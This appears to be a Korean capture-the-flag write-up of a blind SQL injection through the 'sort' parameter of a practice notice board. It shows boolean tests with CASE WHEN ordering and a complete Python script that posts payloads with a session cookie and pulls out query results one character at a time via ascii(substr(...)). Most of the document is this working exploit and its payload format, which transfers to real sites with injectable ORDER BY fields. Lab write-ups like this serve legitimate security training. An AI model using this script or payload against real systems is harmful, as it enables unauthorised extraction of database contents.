로그인하고 게시판 들어가본다
option_val, board_result에 시도해봤지만 안된다.
sort에 해보자.
예상 SQL문
select * from table where option_val like '%board_result%' order by sort
▼title and '1'='1'
결과가 출력된다.
▼title and '1'='2'
이것도 결과가 출력된다.
option_val에 username이 있으니 username이라는 컬럼명이 있다는걸 예상할 수 있다.
sort에 title, username을 넣었을때 결과가 다른지 확인하자
▼title
▼username
title로 정렬했을때는 GGGGGGG게시물이 위에, username으로 정렬했을때는 test1이 위에 뜨는 것을 확인할 수 있다.
case when을 사용하여 조건이 참이면 test1이 위에, 거짓이면 GGGGGG가 위에뜨게 해보자.
▼case when (1=1) then username else title end
▼case when (1=2) then username else title end
조건에 우리가 원하는 SQL문을 넣으면 된다.
import requests
url = "http://ctf.segfaulthub.com:7777/sqli_8/notice_list.php"
def send_request(sql_query):
cookie = {
'PHPSESSID':'s0oc2k00vo5acef025le6kpjr3'
}
data={
'option_val' : 'title',
'board_result' : '',
'board_search' : '%F0%9F%94%8D',
'date_from' : '',
'date_to' : '',
'sort' : sql_query
}
response = requests.post(url, cookies=cookie,data=data)
r = response.text
index_TRUE = r.find('test1')
index_FALSE = r.find('GGGGGGGG')
return index_TRUE < index_FALSE
'''
sql_query = input("sql을 입력하세요: ")
send_request(sql_query)
'''
def Blind_SQLi(sql):
extract_info = ''
for i in range(1,101): #최대 100글자 까지 추출
for j in range(32,127): #ascii 문자 범위
payload = f"case when (ascii(substr(({sql}),{i},1))={j}) then username else title end"
if send_request(payload):
extract_info += chr(j)
break
else:
break # 더 이상 글자가 없으면 종료
return extract_info
sql_query = input("SQL 쿼리를 입력하세요: ")
extracted_data = Blind_SQLi(sql_query)
print(f"Extracted Data: {extracted_data}")
response.text에 test1이 먼저 나오면 index_TRUE가 index_FALSE보다 값이 작을 것이다. 그러면 SQL문 조건은 참. index_TRUE가 index_FALSE보다 값이 크다면 거짓이다.
공격format은
case when (ascii(substr(({sql}),{i},1))={j}) then username else title end